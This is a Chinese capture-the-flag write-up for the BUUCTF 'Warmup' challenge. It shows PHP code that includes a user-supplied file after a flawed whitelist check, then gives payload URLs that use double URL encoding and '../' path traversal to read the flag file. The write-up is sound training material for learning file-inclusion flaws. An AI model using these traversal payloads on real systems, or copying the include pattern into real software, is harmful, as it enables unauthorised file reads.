BUUCTF——Warmup

BUUCTF——WarmupWarmup<?phphighlight_file(__FILE__);classemmm{publicstaticfunctioncheckFile(&$page){$whitelist=[“source”=>”source.php”,”hint”=>”hint….

Warmup

在这里插入图片描述在这里插入图片描述

<?php
    highlight_file(__FILE__);
    class emmm
    { 
   
        public static function checkFile(&$page)
        { 
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { 
   
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) { 
   
                return true;
            }

            $_page = mb_substr(//mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()$page,
                0,
                mb_strpos($page . '?', '?')//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
            );
            if (in_array($_page, $whitelist)) { 
   
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { 
   
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) { 
   
        include $_REQUEST['file'];//想办法执行这个包含函数
        exit;
    } else { 
   
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

在这里插入图片描述绕过第一个函数检查:
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];
page参数包含有这两个文件中的任意一个
http://111.198.29.45:59377/?file=hint.php

绕过第二个函数检查:向php页面中传入参数
http://111.198.29.45:59377/?file=hint.php?

绕过第三个函数检查:两次url编码
http://111.198.29.45:59377/?file=hint.php%253f
之后访问提示文件

http://aeed8688-0691-4161-b6f7-2bc32b98db3c.node3.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg
在这里插入图片描述tips:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

这里的ffffllllaaaagggg是在hint.php中发现的,显然flag在这个文件里。其实文件名提示了我们要使用四层目录,这里比较坑。

今天的文章BUUCTF——Warmup分享到此就结束了,感谢您的阅读。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/11604.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注